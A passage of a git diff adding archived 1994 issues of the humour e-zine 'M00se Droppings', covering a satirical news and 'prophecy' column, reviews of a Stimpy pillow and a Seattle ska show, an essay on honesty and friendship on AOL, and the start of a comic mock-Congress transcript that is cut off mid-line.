was barred from + Figure Skating competition forever, and received an offer for a + two million dollar contract with a Japanese Women's wrestling + promotion. I am not making this up. Nancy Kerrigan -- the + sentimental favorite because she had been injured several months + beforehand, took second after an orphaned girl who had been hurt + the day before and had to skate on pain-killers, but managed to + smile and play to the crowd like a champ (not that I'm drawing + comparisons). In disappointment, Nancy went home to her multi- + million dollar corporate sponsor, whom she proceeded to badmouth + in front of a crowd of thousands. + + Sometimes the Gods are kind. + + + _Howard Stern_: After being nominated (legitimately, I might add) + by the Libertarian Party as their candidate for Governor of New + York State, Howard Stern has discovered something he didn't count + on. You see, Howard swears he is a serious candidate. And he has + a legitimate nomination, which makes him one. Howard also has a + radio show which is on for four hours a day. + + However, as a serious candidate for Governor of New York, Howard + Stern cannot be given a media advantage over his opponents -- + Mario Cuomo, the incumbent democrat, and Nameless Loser, the + Republican. If Howard gets four hours of air time, then the + Station he broadcasts on must give the Democrats and Republicans + four hours ~each~. The FCC has ruled that this is so, in Howard's + case. + + Which means Howard can withdraw... or Howard loses his radio show. + + If only we could get Rush Limbaugh in as the Republican loser.... + + The fallout from the Stern nomination is surprisingly positive for + most everyone, except the Republicans, of course. Howard Stern + himself is getting a lot of attention, and this time he doesn't + have to pay for it. The Libertarians -- assuming they can ever + live this down -- are going to make out like bandits. You see, in + New York State any party that gets fifty thousand votes gets their + party on the ~permanent~ ballot. They never again have to + petition to keep their name in the running. As of this writing, + Stern is running about 20% in the polls -- not bad, in a three-way + race. Mario Cuomo can't complain, since this is going to reelect + him. You see, Howard is running on a three issue platform (none + of which I am going to venture an opinion on): + + 1) Reinstate new York's death penalty. + 2) Stagger who pays tolls at toll booths. + 3) Make all highway construction crews work only at night. + + He has sworn that once those three issues are resolved, he will + step back and let his Lieutenant Governor run the show (a campaign + promise that heretofore is unique). The Republicans have the + death penalty as part of their platform as well. Thus, the death + penalty vote is split, the anti-Cuomo Protest Vote is split, + weighted towards Stern, and the Republicans would have to set off + a bomb in Albany to get any sort of media attention. + + I wonder if Ross "Sparky" Perot is taking notes. Assuming, that + is, that he isn't in conference with the Space Aliens or + distracted by shiny things. + + + _The Weather_: After the harshest winter in recorded history -- a + winter so bad entire states were shut down due to cold -- Spring + has come in with a full-fledged unseasonable heat wave. People + are fleeing the sun and praying for rain and snow. The M00siness + of this couldn't be exaggerated. + + + _The Republicans_: For all their cagy behavior, for all their + careful, angry rhetoric, the Republicans are flubbing their shot + at the Presidency badly. Folks, it's 1994. The next election is + in 1996. The Republicans are dragging out every possible scandal + they can against the President. It is as if they expect ~anyone~ + to remember a thing about Whitewater or any other Scandal when + Election time rolls around. + + Folks -- the American people elected George Bush after + Iran/Contra. Whitewater is ~nothing~ in comparison. + + It's far far better to wait a while -- gather evidence and hold + off on the scandal, and then launch the attack during campaign + season. This is assuming the Republicans aren't going for that + knockout 'impeachment' punch. + + I could sort of live with that, if they were. Al Gore has at + least proven he can write a book, which lends credence to the + theory that he has also read one. It's a lot to expect, I + realize, but since Tipper won't let Al listen to music albums, + they don't have very much else to do around the Vice President's + house (The Taupe House, I believe it's called). + + Despite my admitted hatred of the Republican party (not so much + because of a difference in my and their political beliefs as the + unshakable perception that they are all a pack of rat bastards), I + will confess a growing excitement over the 1995-6 Republican + Campaign. You see, all indications are that the two front-runners + for the Republican nomination will be Bob Dole and Dan Quayle. + + Bob Dole may be the meanest human being alive. + + Dan Quayle may be the most...disconnected human being alive. + + Admit it, it's a little like watching a primary race between + George bush and Ronald Reagan. + + + But enough, you say. Where is the prophecy!? I am, after all, + proported to be a prophet. Anyone could claim that the events of + today bear out his (unstated) prophecies. Let's here something + prophetic already! + + Well, to those who are indeed saying that (or something similar to + it), I would remind them how much money I am being paid for this + -- i.e., nothing. Not a sausage. Therefore, I'm not feeling very + inclined to respond to public opinion. But still, I might as well + give you some glimmer of prophecy, to get you going. + + Envision if you will a field. A field with green grass. Natural + looking green grass, no less. Not astroturf. Envision thicker + grass right in the center of it -- fuller and more lively grass. + That is where the septic tank is located. + + On this field shall a ball slowly roll. And on this ball shall + there be spittle. This spittle shall not be Spittle of king or + peasant. No, for it shall be the spittle of the Labrador, and it + will be sickening. + + And a young girl shall pick this ball up, and of her face there + shall be great contortions. And she shall drop the ball, despite + the labrador, and his disappointment. + + And shall the dog leap onto the girl, and knock her over. And + shall a stranger -- a good man, and true -- come forth and pull + the dog off, and have the speaking of the dog thusly. + + --Bad doggy. + --Bad. + --You shall not do such again! + --Bad. + + And shall the girl rise and hug the man, and shall he hug her + back. And shall the girl's teacher be passing and see this, and so + shall the teacher draw forth the black cylinder. And so, shall + the good stranger be maced. + + On that day, shall an out of work writer whom we shall call Bob + get an idea for a screenplay. And lo, shall the screenplay be + called "A Generous Hand of Searing Pain," and so also shall the + movie bear the legend of truth, of which the story was based. + + And this movie shall air amid much advertising. And shall Connie + Selleca play the teacher also, and the Girl shall be black. And + the kind man shall at the movies end rip Connie's blouse off, but + the Dog shall kill him. + + And on that day, when such mindless drivel is inflicted upon the + cable, shall you mis-set your V.C.R., and shall you record it + instead of that program you have looked forward to for decades. + + Make ~me~ prophesize, will you.... + + + +REVIEWS +------- +Edited by Svedishm00se + + + Hail and well bl00ped, fellow m00ses! It's been a while since the + last issue of M00se Dr0ppings, so let me go over some Reviews + section stuff. + + All reviews for future editions of M00se Droppings should be sent + to me at swede@drycas.club.cc.cmu.edu, or swede@drycas.bitnet. + Review anything you like - films, fanzines, deodorants, religions, + and so on. You are encouraged to invent your own rating system - + the more inconsistent this section is, the m00sier it is. If you + are able to send your review formatted to 72 columns, please do. + If not, don't worry about it - this isn't rocket science, you + know. Pickle's deadline for submissions is the 11th of each + month, so reviews should be in to me no later than the 9th. + + This month, we have a review of the Stimpy pillow by Chris + Schneider and a review of the performance of two ska bands, Easy + Big Fella and Let's Go Bowling, by Pickle. Bl00p! + + +The Stimpy Pillow +----------------- +Reviewed by Christoper L. Schneider + + + Item: Stimpy stuffed throw pillow/all around soft bop-bag + + Price: About $20 + + Purchased from: Spenser's Gifts + Eastgate Mall + Cincinnati Ohio + + + All in all, this pillow kicks m00se! It has a truly sturdy + construction that has withstood the various Ren & Stimpy torture + tests I tried with flying colors. When I first spied the 2 foot + diameter rendition of the world's dumbest cat, I was impressed by + the accuracy of this rendition. It doesn't just look good, it + held up under all the repeated elbow drops, knee smashes, and head + butts a pro-wrestling buff like me can dish out. No matter what + the punishment, it maintained the trademark stupid looks of + Stimpy. + + I was most impressed, however, by the spatial relationships of the + pillow. When placed over my chest, I was able to torment my + sister by squeezing the Stimpy eyes like breasts and still have + the stuffed cat's nose in a position to grab in true Michael + Jackson fashion. This eventually proved too much for my dear + sibling, but her husband got quite a kick out of the display. + + All in all, this Stimpy pillow gets a 645 out of 714 on the M00se + Scale. The only thing it lacked was the little rubber bladder + from the "Rude Toot" plush Stimpy. I can't wait to get the Ren + pillow to decorate the other end of my couch! + + +Let's Go Bowling with Easy Big Fella +------------------------------------ +A Ska Review by Pickle + + + Item: A ska concert, headlining Let's Go Bowling (Fresno) + Opening act Easy Big Fella (Seattle) + + Price: Music free (see below) + Beer and tequila ~$40 for two + + Purchased from: The Ballard Firehouse + 5429 Russell Avenue NW + Seattle, Washington + + + I was first introduced to ska in Hartford, CT of all places, at + Trinity College. The school was having a skafest, with three + bands and all you could eat and drink (bad food, bad beer) for $3. + It was a hard deal to pass up, so I went with some other people, + and was instantly taken with the experience. + + Ska, for those of you who haven't experienced it, is described in + many ways. Those who try to get technical talk about it in flower + terms, going back to its roots in Jamaica and discussing various + influencial English bands. + + My roommate describes it as "reggae with a pulse." + + My friend Mike once described it as "like reggae, but not boring + as all fucking Hell(tm)." + + I'm a bit more charitable to its influences. I say its kind of + like young people who would otherwise be playing punk, playing + reggae at 2 to 3 times normal speed. + + There's more to it than that, of course. These are woefully + inadequate explanations. But when you hear it, you find yourself + too busy dancing to analyze it much. + + Its extremely fun, loud, and fast, filled with horns and organs + bouncing on the offbeat, totally danceable, completely moshable, + and the shows are always very friendly both on stage and on the + dance floor. + + The band that won me over for good that night was Bim Skala Bim, a + Boston-area band that, sadly, never gets as far west as Seattle. + I caught them twice more after that, once in Ithaca and once in + Syracuse. + + In Seattle, I needed a substitute. That substitute is opening act + Easy Big Fella. + + I've now seen Easy Big Fella four times, and intend to catch them + at every opportunity from now on. They're an opening band, + usually starting for the Tiny Hat Orchestra, another local ska + band. They consistently outdo the bands they open for; though + newer and less polished, they have an enormous amount of energy + and life to them, and they feed off the audience's energy like no + band I've ever seen. You dance harder, they play harder. + + Their repertoire isn't extensive yet, though they have more than + enough songs for a set so you get some variation from show to + show. Some consistent favorites include "Sleep Together" (I am + the ocean and you are the river/Time to go into you now) and "Talk + About It" (usually their closer, in which the tempo begins + moderately fast and the band then attempts to kill you by cranking + it up a notch every few bars). And the highlight of the evening + is the Skinny Guy's German accordion piece. He plays and sings + like a madman in a semi-traditional style while the band backs him + up with hardcore ska. The audience, meanwhile, attempts to + simulate some sort of mutant dance step that is supposed to be + German or Polish or something (nobody really cares if anybody gets + it right), and at exactly the right time in each verse, everybody + throws up a hand and shouts, "HEY!" + + The Skinny Guy is the band's sex symbol. You know how there's + always some guy in the band who has to take of his shirt and dance + around for the benefit of anybody who wants to see something like + that? That's him. He's skinny as a rail, and plays a mean + trumpet and accordion. + + The band is friendly, hanging out before and after the show, and + chatting with you when they can. + + To be honest, I never expect to stay for the main act when I go to + see Easy Big Fella. It just isn't impressive; it's always a bit + of a disappointment. + + Not this time. + + I first heard of Let's Go Bowling when I was attracted by their + name in an Ithaca record shop. Their first and only album, from + 1991, is "Music to Bowl By." I almost bought it, but I had no + idea they were ska. + + They most certainly are, and are possibly the best I've ever + heard -- rivalling Bim Skala Bim. Their energy picked everybody up + off their feet after an hour of solid dancing to Easy Big Fella and + kept them going until 1:30 or so, nonstop. They have the skill + and tightness of the Tiny Hat Orchestra (at least) with the energy + of Easy Big Fella's best nights. There is nothing to say about + their ska except that it's just about as good as it gets. + + However, they deviate from ska here and there, to good effect, + throwing the audience onto another track for a few minutes and + then pulling them back. "Pin Stripe Suit" and "Take a Walk" have + an almost big-band feel to them, with the former bringing to mind + nothing so much as "Mack the Knife" in terms of being an + infectious melody about a killer. And "Hare Tonic" is a ska-ish + adaptation of the Warner Brothers' "Rabbit of Seville" music from + the Bugs Bunny short "Hare Tonic." (The music was originally + composed by Rossini, of course, making it all a rather tangled + pedigree.) + + I could probably go on for a very long time, but I won't. Suffice + it to say that it was a superb show by two superb bands. And the + venue isn't at all bad, either -- it's a very unreserved crowd, + not self-conscious, and quite friendly (except for the guy who got + drunk and challenged another guy to a fight outside, but the guy + he challenged was friendly enough). + + The price of admission was nothing, because last time I went, I + spent $12 instead of $8 and got a free pass to every under-$15 + show for the next four months. Not a bad deal. However, the beer + is very expensive at $4 a pint for the good stuff. Practically + obscene, given that the beer in question is brewed and kegged a + mere mile and a half from the Firehouse. And I don't know what + Ickym00se paid for the tequila shots he bought (one apiece), but + it was too much. + + Still, after a show like that, you don't really feel too bad if + your wallet is a bit lighter when you leave. + + I give the overall experience 5.5 pounds of dark extract, 2 oz. of + Fuggles (boiling), and 1/2 oz. of Cascade (finishing). Any m00se + who visits Seattle will, if at all possible, be taken to see Easy + Big Fella. + + And, if we get lucky, maybe Let's Go Bowling will be in town as + well. + + + +--========================_15213744==_ +Content-Type: text/plain; charset="us-ascii" + + + +-- +William R. Dickson, M00se Illuminatus.................wrd@beer.wa.com +Co-Author, Internet Explorer Kit for Macintosh........iek@tidbits.com +Author, "Team Cynical," Superguy Digest....listserv@ucf1vm.cc.ucf.edu + + + +--========================_15213744==_-- + + diff --git a/textfiles.com/magazines/M00SE/md.049 b/textfiles.com/magazines/M00SE/md.049 new file mode 100644 index 00000000..d0a6c4d1 --- /dev/null +++ b/textfiles.com/magazines/M00SE/md.049 @@ -0,0 +1,1186 @@ +Date: Thu, 14 Jul 1994 01:17:41 -0700 +From: Dark M00se Rising +Subject: M00se Droppings #49 (July 13, 1994) + + + +--========================_23396994==_ +Content-Type: text/plain; charset="us-ascii" + + + + + +--========================_23396994==_ +Content-Type: text/plain; name="M00se_Droppings_#49"; charset="us-ascii" +Content-Disposition: attachment; filename="M00se_Droppings_#49" + +M00SE DROPPINGS #49 - July 13, 1994 +=================================== + + A-M00s-ing Anecdotes and Illumination By and For the Pawns of the + M00se Illuminati + + _M00se_Droppings_ is published on the 13th of each month. Send + submissions and subscription requests to wrd@beer.wa.com. + + All contents copyright the respective authors. More explicit + copyright notice forthcoming, pending consultation with + Pr0phetm00se, our resident expert. + +This issue is being mailed to 74 chapters of the M00se Illuminati. + + +STAFF: + + Editor In Chief: Bill Dickson + Assistant/News Editor: Dominic White + Reviews Editor: Gary Olson + + +IN THIS ISSUE: + + Editorial Notes + + News Droppings + M00ses in the News! + Reporter positions available + + Special Features + A Rose By Any Other Name, or Divining Online Honesty + The M00sey Congressional Record + How to Brew the Perfect Cup of Tea + + Regular Features + Ask The Sage + Tracking the M00sey Age + + Reviews + The Shadow + Fun With Milk and Cheese + + + +EDITORIAL NOTES +--------------- +>From Pickle, your Friendly Editor + + Hello everybody, and welcome to _M00se_Droppings_#49_. Yes, + that's right, after a mere 73 months since our first issue, we are + one issue shy of the big five-oh. Exciting, isn't it? + + So I'm pleased to announce that, as of issue #50, we will be + changing the title of the newsletter to "The Gary, Eric, Dominic + and Bill Follies." The publication has evolved in its time, + finally settling on a format that includes frantic last-minute + scrambling by four people, plus (this time) a submission from + Bill's mom. We believe that the new title more accurately + reflects the spirit of the newsletter, and hope that our readers + will agree. + + Of course, if our readers ~don't~ agree, they could probably + express their displeasure with the decision by hunting me down and + wrapping me in a huge slice of stale Velveeta that has been soaked + in city water for three days. However, I would personally prefer + that they send some submissions to help round out the content of + _M00se_Droppings_, making it more truly reflective of the vast + variety of m00siness out there. Trust me, if I hate your + submission, I won't embarrass you by publishing it. I won't even + laugh at you. I'll just quietly stick it in the "use later if + necessary" folder and forget about it until the Inspiration Well + dries up completely. + + We've got a couple offers for people who want to do regular + features as well (see below). Drop me a note! + + + +NEWS DROPPINGS +-------------- +Little turds of information for your enjoyment and edification. + + +_M00ses_In_the_News!_ + + Sending out a call to all M00ses! Yes, this is to M00ses + everywhere! + This regular feature will let other M00ses learn about fellow + members of the International M00se Illuminati and focus on those + M00ses who have done something to aid in the conspiracy, no matter + how mundane it might seem! + + Did you cause a major corporation to crumble at your feet? Did + you engineer (from behind the scenes of course) the assassination + of a puppet dictator of a South American nation? Did you single- + handedly cause the stock market crash of '29? Did you brush your + teeth this morning? + + If you, or any M00se you know of, did one of these, or anything + else news-worthy , let me know. And remember, we here at M00se + Droppings trust our fellow M00ses. And you know what that means! + Yes, it means we are too lazy to chase after bothersome details + such as the truth, proof, and facts. + + Please send any M00sey action by you or a fellow M00se that you + find fit to be in "M00ses in the News," to Ickym00se + (ick@artiste.wa.com) by the 10th of each month. Thank you. + Bl00p! + + +_Editorial_Positions_Available_ + + _M00se_Droppings_ is in need of two good m00ses. In response to + great demand (the single response was positive, making for a 100% + approval rating), we would like to create a new regular feature, + the Superguy Review. Unlike our standard Reviews section, this + will not be an analysis of the quality of Superguy stories; + rather, it will be a very brief review of the month's occurrences + on Superguy Digest. Sort of like _Soap_Opera_Digest_, only less + incisive. The reporter in question will be expected to read + Superguy regularly and thoroughly, and ~very~ briefly summarize + the major events of the month's episodes in a positive light that + will encourage people to subscribe to, and read, Superguy. + + We make no pretenses at impartiality here at _M00se_Droppings_. + + Our second new feature will be "Meet the M00ses," a regular + interview piece. The reporter will email (or, if brave, live-chat + or even phone) the subject M00se, selected at his or her + discretion, and conduct some sort of interview. This will be + reminiscent of the old "Meet the M00ses" feature pioneered in + M00se_Droppings_#22_. + + Both these reporters will need to have their stories in to Pickle + (wrd@beer.wa.com) on the 11th of each month. + + If you're interested in either of these features, please contact + Pickle and let him know why he should give you the job. Bear in + mind that neither position pays so much as a farthing. + + + +SPECIAL FEATURES +---------------- + In this issue we have an essay on life and love on America Online + from M00semom, a transcript from a secretly-taped meeting of several + M00se Illuminati, and a detailed description of the life-affirming + methods of making the best cup of tea you've ever had. + + +A Rose By Any Other Name, or Divining Online Honesty +---------------------------------------------------- +Part one of a two-part essay by M00semom + + [This article is to be first published (if they don't get any + decent submissions) in Moose Droppings, the illustrious + publication of the slightly anarchistic but mostly harmless Moose + Illuminati, which is read by tens of persons who've not much + better to do with their time, apparently, except to fish about for + like-minded looneym00ses (looneym00si?) with which to commiserate. + The names of the scurrilous have been changed to protect their + identity. The innocent, on the other hand are precisely who I say + they are, since they don't seem to give a damn. Otherwise + m00sefully submitted by Deborah Kate of the M00semom persuasion.] + + Convinced by my son through shameless enticements, nay promises, + of more frequent mail from him to me, I went, at the tender age of + 46, ON-LINE. I lasted for months on AOL never using up my + allotted hours and only paying the requisite $9.95 per month fee. + Few letters came. Having been divorced and living on my own for + two years, on the occasion of my ex-husband's announcement that he + had beat me to the punch and got himself a date on-line I + naturally signed on myself to investigate chat rooms, humming + "Anything he can do I can do better." I hadn't a clue what I was + waltzing into, I assure you. I'm a small-town M00semom, and + though a long time and some distance removed from my small town + roots, vestigially, at least, I'm naive as hell. So imagine my + surprise when after less than a minute on-line I received a little + private instant message on my screen from a fellow saying "Please + tell me you're an exciting woman!" Spontaneously and + enthusiastically, I replied "Please tell me you're an exciting man + over 40!" It seemed cute at the moment. And this fellow took a + little time to flirt before I got the gist of what was going on + when he told me in anatomical precision exactly what he'd like to + do to me. A little shocked, I told him off and he finally gave up + and went away. I'd not yet learned the miracle of the ignore + option on the screen. + + This sort of thing turned out not to be uncommon. During the + first two weeks I was on-line I felt like the new woman in town + who everyone was checking out, sizing up as prey. Sometimes + people are perfectly polite and straightforward asking quickly and + simply for what they want, and those tend to take a quick polite + no in return very well, nod their thanks for the moment I took to + reply and walk away. Some are crass, on the other hand and + terribly persistent. So frustrating and annoying are these types + that early in my on-line chatting I answered a simple hello from a + man by snapping "I hope you're not yet another man looking for sex + this morning! It's only 8goddamo'clock!" The poor fellow said, + "Good grief no," went away and I never heard from him again. "Oh, + great," I thought, "now I'M becoming a rude on-liner!" + + But just when I was fearing that I'd never figure out how this + electronically oriented community operated or find intelligent, + pleasant life forms within it, life on-line took a decided turn + for the better. I saw a fellow named Harpmaker in a room. Having + an abiding fondness for the Celtic harp, I asked him if he made + the instruments. Imagine my delight when Harpmaker actually + turned out to be a man who (drum roll, please) makes harps! He + was in fact working on his first Celtic model but specializes in + reproducing ancient Aeolian wind harps. We talked about where he + lives, on a mountain outside Albuquerque, and his animals and our + common love of nature, our philosophies about living. One + afternoon I checked my e-mail to find a letter from Harpmaker, who + was feeling very low. He'd lost his job that day. I decided to + pick up the phone and tell him, in real space voice, that I got + his message and that I cared and that I was available if he needed + to talk. We've had some great, in-depth discussions about the + nature of work in our lives and the opportunity and risk he's + taking by accepting this loss of a regular, paying job, and + turning harp making into his full-time livelihood. Harpmaker Bob + has become a friend in a couple of very short months. Not a + casual friend, but the kind I'd want my family to notify if I + suddenly fell unm00sely ill. + + I met another man in a hot tub in an Over Forty room one night. + He was singing "Down By the Old Mill Stream" and I began to (if + you're on a Mac, please note the deft double entendre) chime in + with alternating lines of the song. We exchanged e-mail and it + seemed we could read one another like the proverbial book and yet + be delighted with one another's observations and ideas. It was so + obvious to each of us that we were exactly who we presented + ourselves to be, that this man sent off his home and office phone + numbers to me in his second letter! Like my friend Bob, Alex is + also married, so this decision on his part involved a lot of + trust. I mentioned that, when I sent my phone number in my next + letter to him, and he simply replied "Yes, it does." This is not + a naive man. This is, in fact, a lawyer in a rather highly placed + state office. I value his artfully straight ahead prose on all + manner of subjects, ridiculous and sublime. And I know if I + needed a shoulder or his insight, he'd be there for me. I know + this, because I've had occasion to find out the hard way. Our + friendship is deep and solid. + + A third happenstance meeting led me to think a lot about who's who + on-line and off. I'll call this man Tackackack. Now Tackackack + sounded, and was, in fact, interesting and intelligent. But he + had a notion about on-line relationships which distressed me. I'd + heard it from other people before but from no one as convincingly + self-indoctrinated as this man. He spoke of on-line as "up here + in space" and talked about flying together and he wasn't just + talking about sex, though I'm pretty sure he was getting around to + that part. No, Tackackack really needed to believe that on-line + represents an alternate universe where we can develop a new self- + image, or remake ourselves, at least temporarily. + + The problem with that for me is, that it's tough enough to trust + people whose faces I can see and read. Most folks don't convey + through words all that I need to know to develop a trusting + relationship, or they seem one way when they write, but are very + different in face to face dealings. I do think that on-line + chatting and e-mail provide a wonderful forum, an informal + workshop if you like, for developing our communications skills and + ultimately ourselves. But for me that works through extending who + I really am off-line into the on-line community. One persona is + quite enough for me to manage, thanks. I'm not talking about, or + criticizing all the folks who have playful personas for on-line + entertainment. I'm only suggesting that while humor of all kinds + is a healthy part of relationships and that we certainly all have + the right to "play pretend" when we want to and agree on it, + there's a big old difference between entertainment and developing + relationships which are meaningful and lasting. For instance, + each time I'm confronted by a person who tells me that it's OK to + have sex with him, or any other pretend relationship with him + on-line, I have a pretty standard response. I'm not pretend. I'm + real. He's real. And anything we say or do on-line together is + real too. And then I remind him that I have a charge card with a + verrrrry high limit and that I could be on his doorstep by + morning, pretty much no matter where he is. For most people + that's real enough. Some, though, insist on arguing that their + concept of on-line sex is like "masturbating to a playboy + magazine." (And they think this will entice me?) I gently but + firmly remind them that they are speaking with a feminist who'd + rather Playboy didn't exist anyhow, and point out that on-line sex + is very basically different from what they describe because it's + interactive. Or I assume that it should be. Would one party just + sit there and let the other do all the work/play? Kind of evokes + images of Lily Tomlin's telephone operator whining plaintively, + "Is this the party to whom I am speaking?" + + But back to Tackackack, if you recall him or care. One thing that + had both touched and distressed me was his plea to me that he + needed women friends, that he had completely given up having + friendships with men, who he felt simply weren't good at it. I + urged him to reconsider his position, for I, after all had already + made friends with two very nice men on-line who talk with me about + things which matter. Nonetheless, when he heard my arguments for + extending real life to on-line he abruptly disappeared except to + creep back into my mailbox one day with the news that he was + having a rather sudden and intense relationship with a "wonderful + woman" and he wasn't sure where it was going. He described it as + scary. Tackackack is also married and encoding his correspondence + lest his wife find it. (I highly recommend to him and anyone else + interested in male/female communications skills, Deborah Tannen's + book "You Just Don't Understand." Men are certainly capable of + communicating with other men and women as friends and not solely + as competitors or potential conquests. But I'll leave that + discussion to Ms. Tannen's able pen.) + + Since then, I've met a lot of pleasant people who correspond with + me occasionally or chat on-line. But the two close friends I've + found are the only ones who seem always to "show up" on-line just + when I need to talk to them. I've wondered how, out of 700,000 + AOL members, we managed to find one another. Coincidence? Nah. + Serendipity? For certain. + + But a well-developed sense of reading people and discerning their + sincerity helps with the process of figuring out who to trust. I + learned to look up personal profiles before I talk much with + anyone. If they don't have one, I'm wary right away and probably + will be polite but mostly ignore or avoid the individual. The + on-line equivalent of "Hey, baby, what's your sign" is easy to + spot because it's the same kind of line you find, well, off-line. + + And now I must tell you, confess, even, that in the brief time + I've been learning the ropes around here, I've already (blush) + fallen in love. + + Read the next issue, when a story of online honesty and romance is + revealed, exclusively for you, dear reader, before + _A_Current_Affair_ gets wind of it. + + +The M00sey Congressional Record +------------------------------- +by Big City M00se, AKA Bill Paul (ghod@drycas.club.cc.cmu.edu) + + Ladies and gentlem00ses, what follows is a transcript of the + proceedings of the first and thus far only session of the 1st + National M00sey Congress, convened on June 27th, 1994 at 3:32 PM, + and recessed twenty minutes later when it became evident that the + representatives were in imminent danger of missing that + afternoon's episode of Animaniacs. + + The M00sey Congressional Record, as it's been euphemistically + entitled, is reprinted here as an example to those aspiring to + m00sedom and long time m00se chapters alike of precisely how not + to run a government. M00ses are encouraged to study this text + carefully and watch for parallels in their local and national + governing bodies. In the event that such parallels are + discovered, the M00sey High Command should immediately be + informed, at which point absolutely no action will be taken. (No + action should be required: the mere possibility of the M00sey + High Command becoming involved should be enough to whip any + wayward politician into line.) + + M00sey readers should not be alarmed by the Congress's final act, + which is one of self-abolishment, for the following reasons: 1) + M00sey principles strictly forbid members of the Congress from + abiding by any legal decree, especially their own; and 2) + Pr0phetm00se has already made it abundantly clear that the world + ended some years ago, so it doesn't really matter what they do + anyway. + + The members of the 1st Congress would like to point out that any + thr0ng of sufficient size has the authority to form its own + Congress for any reason, and at any time, and that each Congress + has the same m00sey rights and privileges as any other, which is + to say, none at all. + + The 1st National M00sey Congress consists of the following M00se + Illuminati chapters: + + _Big_City_M00se_ (Bill Paul): Speaker of the apartment, + representative of the state of Confusion, named official + Congressional mascot over his many heated protests + + _Alacrity_ (John Bankert): Treasurer, Representative of the state + of Housemate Loathing (reformed) + + _Sabre_the_Pr0phetm00se_ (Eric Alfred Burns): Representative of + the state of Constantly Moving From State To State, official + Congressional tea brewer, official Congressional prognosticator, + also named secretary of defense by virtue of his sizeable + collection of Nerf weaponry + + _Pickle_ (Bill Dickson): Representative of the state of Total + Romantic Ineptitude, official Congressional beer supplier + + _SvedishM00se_ (Gary Olson): Representative of the state of + Intoxication, Ladler of the sheep dip, official Congressional + bribe taker + + _Icky-m00se_ (Dominic White): Representative of the state of + Lousy Bagpipe Playing, official Congressional slut + + _Austerem00se_ (Evan Pongress): Representative of the state of + Rigor Mortis, frequently deceased keeper of the official + Congressional leather jacket + + _Manlym00se_ (Frank O.): Representative of the state of + Unemployment, official Congressional bouncer + + _Also_appearing_: Gavel Boy, played by Larry 'Bud' Melman + + _Special_guest_defenestration_victim_: Tori Spelling + + Special thanks to the CIA for actually recording the proceedings, + since none of the Congressional representatives thought to do it + themselves, and for leaving the recordings and transcripts out in + plain sight where one of our m00sey infiltrators was able to steal + them. + + +**Transcript Begins** + + [The Congress has convened in good sized room containing a large + table with a gabardine tablecloth around which all the members of + the Congress are seated, except for Big City M00se who is standing + at the head of the table behind a podium. The podium is actually + an empty beer keg with a board on top of it. Big City M00se is + holding a gavel. Icky-m00se is sitting immediately to Big City + M00se's right, followed by Pickle, SvedishM00se, Pr0phetm00se, + Austerem00se, Alacrity, and Manlym00se. There's an open doorway + leading out of the room not far from where Big City M00se is + standing. Next to the doorway is a closed closet and next to the + closet door is a window through which a city skyline is visible.] + +BIG CITY M00SE (rapping his gavel on the podium): Alright, + alright, settle down everyone! I hereby call this, the first + session of the 1st National M00sey Congress to order. + + [Icky-m00se turns to Big City M00se and is about to say something + when Big City M00se interrupts him.] + +BIG CITY M00SE: Dominic, I know what you're about to say. I've + made the mistake of leaving myself open for a stupid joke about + ordering food, but I warn you: if so much one word escapes your + lips concerning food, I'm going to crack open your skull, extract + your brain, grind it into a paste and make waffles out of it. + +SVEDISHM00SE: Hey, that sounds good! + +ALACRITY: Yeah, I could go for waffles. + +PROPHETM00SE: Waffles all around, Bill! + +BIG CITY M00SE (sternly): I was making a joke: there aren't any + waffles! + +SVEDISHM00SE: I'll have french toast then. + +BIG CITY M00SE: I'm sorry, Frank toasted the last Frenchman + yesterday. + +MANLYM00SE: It was for the best guys: he was starting to go bad. + +ICKY-M00SE: Aren't they all. + +PICKLE: How about beer then? + +BIG CITY M00SE: Fine fine, if it'll make you all happy. + + [Pickle taps the center of the table and a beer tap springs up + there. All of the members of the Congress, except Big City M00se, + produce frosty mugs and fill up on the tasty microbrew. There is + much rejoicing.] + +SVEDISHM00SE: I move that we begin all future Congressional + meetings with a frosty mug of fine beer! + +PICKLE: I second that motion! + +BIG CITY M00SE: Very well, motion carried. (raps gavel on podium) + Now then our first order of business-- + +PROPHETM00SE: Wait, what about our waffles? + +BIG CITY M00SE (angrily): There aren't any bleeding waffles! + +SVEDISHM00SE: I'll have french toast then. + +BIG CITY M00SE: Look, are we going to do something Congressional + here or not? + +ICKY-M00SE: Can we have waffles afterwards? + +BIG CITY M00SE (sighs): Yes yes, after we adjourn you can do + anything you want. + +PROPHETM00SE: Move to adjourn! + +BIG CITY M00SE: We can't adjourn yet! We haven't done anything! + +PICKLE: Well how do you expect us to get anything done when you + keep going on about waffles? + +BIG CITY M00SE: Alright alright, no more talk about waffles, as + of now, okay?! + +[SvedishM00se raises his hand and starts to speak.] + +BIG CITY M00SE (cutting SvedishM00se off): Same goes for french + toast! + +[SvedishM00se dejectedly lowers his hand.] + +BIG CITY M00SE: Right, I hope that's settled. Now, since this is + the first session of the Congress, our first order of business + should be to create a Constitution for our M00sey Nation. + +MANLYM00SE: I'd like to propose an amendment! + +BIG CITY M00SE: Frank, we haven't even ratified the Constitution + yet! + +ICKY-M00SE: Does that matter? + +BIG CITY M00SE: Hunh? + +ICKY-M00SE: Well, I mean, what do people most often do with + constitutions? + +PICKLE: Hide behind them? + +MANLYM00SE: Amend them! + +PROPHETM00SE: Make waffles out of them! + +ICKY-M00SE: No: argue about them. Not only is it next to + impossible to design a constitution that everybody will be happy + with, but once it's ratified everybody winds up arguing over how + to interpret it. I say constitutions are more trouble than + they're worth, and that we, as M00sey elite, should set an example + by not having one. + +ALACRITY: He has a point you know: we don't want to spend all + our time arguing over a silly little thing like a constitution. + +PICKLE: Our constituencies would never stand for that. + +PROPHETM00SE: It's quite a clever idea really: it would be the + only completely ambiguous constitution in existence. + +ICKY-M00SE: Exactly. And I have a date later so I'd much rather + we just skipped the whole thing so I'll have time to get dressed. + +BIG CITY M00SE (scratching his head with his gavel): So what + you're telling me is that you'd all prefer that we simply forget + about the Constitution entirely and have just the amendments? + + [The other Congressional representatives offer various rumblings + of agreement.] + +BIG CITY M00SE: Well, I'm all for saving time, of course. Right: + Dominic has moved that the M00sey Constitution be nothing of the + sort. Any seconds? + +SVEDISHM00SE: I second! + +BIG CITY M00SE: Very well: motion carried. + + [Big City M00se goes to rap his gavel on the podium and + immediately discovers that he is now holding a banana. He looks + down accusingly at Icky-m00se, who struggles to keep from + giggling. He then tosses the banana aside and pulls a new gavel + from under the back of his shirt.] + +BIG CITY M00SE (raps gavel and sneers at Icky-m00se): Okay, now + that we have decided not to have a Constitution, I suppose it's + 